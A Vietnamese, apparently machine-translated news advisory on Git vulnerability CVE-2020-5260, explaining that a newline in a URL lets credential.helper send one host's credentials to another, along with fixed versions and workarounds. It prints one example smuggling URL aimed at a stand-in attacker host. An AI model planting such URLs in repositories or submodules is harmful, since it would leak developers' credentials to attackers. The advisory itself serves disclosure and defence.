Lỗ hổng rò rỉ thông tin xác thực Git

Được phát hành bản phát hành khắc phục của hệ thống kiểm soát nguồn phân tán Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 và 2.17.4, trong đã loại bỏ sự dễ bị tổn thương (CVE-2020-5260) trong trình xử lý "thông tin xác thực.helper", điều này khiến thông tin xác thực được gửi đến sai máy chủ khi máy khách git truy cập vào kho lưu trữ bằng URL được định dạng đặc biệt chứa ký tự dòng mới. Lỗ hổng này có thể được sử dụng để sắp xếp gửi thông tin đăng nhập từ máy chủ khác đến máy chủ do kẻ tấn công kiểm soát.

Khi chỉ định một URL như “https://evil.com?%0ahost=github.com/”, trình xử lý thông tin xác thực khi kết nối với máy chủ evil.com sẽ chuyển các tham số xác thực được chỉ định cho github.com. Sự cố xảy ra khi thực hiện các thao tác như "git clone", bao gồm xử lý URL cho mô-đun con (ví dụ: "git submodule update" sẽ tự động xử lý các URL được chỉ định trong tệp .gitmodules từ kho lưu trữ). Lỗ hổng này nguy hiểm nhất trong các trường hợp nhà phát triển sao chép kho lưu trữ mà không nhìn thấy URL, chẳng hạn như khi làm việc với các mô-đun con hoặc trong các hệ thống thực hiện hành động tự động, chẳng hạn như trong tập lệnh xây dựng gói.

Để chặn lỗ hổng trong phiên bản mới bị cấm chuyển một ký tự dòng mới trong bất kỳ giá trị nào được truyền qua giao thức trao đổi thông tin xác thực. Đối với các bản phân phối, bạn có thể theo dõi việc phát hành các bản cập nhật gói trên các trang Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, Arch, FreeBSD.

Như một cách giải quyết để ngăn chặn vấn đề đề nghị Không sử dụng credential.helper khi truy cập các kho lưu trữ công cộng và không sử dụng "git clone" trong chế độ "--recurse-submodules" với các kho lưu trữ không được kiểm tra. Để vô hiệu hóa hoàn toàn trình xử lý credential.helper, thao tác này thực hiện bảo quản và lấy lại mật khẩu từ bộ đệm, được bảo vệ kho lưu trữ hoặc một tệp có mật khẩu, bạn có thể sử dụng các lệnh:

cấu hình git --unset credential.helper
cấu hình git --global --unset credential.helper
cấu hình git --system --unset credential.helper

Nguồn: opennet.ru

Thêm một lời nhận xét